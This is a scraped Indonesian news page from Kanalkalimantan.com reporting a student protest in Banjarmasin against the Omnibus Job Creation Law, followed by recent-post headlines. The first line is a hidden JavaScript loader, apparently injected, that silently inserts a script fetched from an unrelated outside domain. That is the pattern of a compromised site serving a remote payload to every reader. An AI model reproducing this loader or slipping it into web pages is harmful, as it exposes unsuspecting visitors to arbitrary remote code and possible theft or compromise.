(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

‘Kode Hitam’ Perlawanan BEM Kalsel Tolak UU Omnibus Law Cipta Kerja


KANALKALIMANTAN.COM, BANJARMASIN – Ratusan mahasiswa kembali menunaikan janji turun ke jalan menolak UU Omnibus Law Cipta Kerja. Berbeda dari aksi sebelumnya, mereka menggunakan kode baju hitam sebagai wujud penolakan atas UU yang dinilai merugikan rakyat kecil.

Mereka menanggalkan untuk sementara jas almamater warna-warni sebagai identitas mahasiswa civitas akademika. Gelombang IV aksi ini dilakukan bertepatan pada peringatan Sumpah Pemuda, Rabu (28/10/2020).

Nasrul, salah satu peserta aksi mengatakan, alasan BEM Kalsel menggelar aksi dengan memakai seragam berbaju hitam tanpa memakai jas almamater adalah bertujuan kebersamaan.

“Akan tetapi aksi memakai seragam hitam melepas “almamater” ini tetap mengatasnamakan sebagai mahasiswa” ujarnya.

 

Mahasiswa menyampaikan penolakan Omnibus Law melalui orasi dengan mimbar bebas.

Meski sudah ditetapkan sebagai tersangka Koordinator Wilayah Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan (Kalsel), Ahdiat Zairullah dan Ahmad Renaldi tetap turun aksi.

Ahmad Renaldi dalam orasinya menyampaikan biarpun dirinya sudah ditetapkan menjadi tersangka akan tetap turun akasi dalam penolakan UU Cipta Kerja.

“Walaupun diri saya bersama Ahdiat sudah tetapkan sebagai tersangka dalam Pasal 218 KUHP, akan tetap turun aksi menyuarakan penolakan UU Cipta Kerja, ” tegasnya.

Di sisi lain, Ahdiat Zairullah menyampaikan orasi kekecawan yang disampaikan lewat janji Sumpah Pemuda.

Ia juga akan tetap menyuarakan kembali penolakan Undang-Undang (UU) Cipta Kerja, dan menuntut Presiden RI agar segera menerbitkan Perpu pencabutan Omnibus Law.

Aksi mahasiswa juga diwarnai berbagai spanduk perjuangan. Dimulai di depan Hotel A Banjarmasin simpang empat KFC jalan Lambung Mangkurat. Pada pukul 18.00 WITA, aksi mahasiswa sudah membubarkan diri dengan menyanyikan lagu Mengheningkan Cipta.
(Kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell

Al Ghifari

Recent Posts

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

16 menit ago

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

13 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

13 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

14 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

16 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

22 jam ago

This website uses cookies.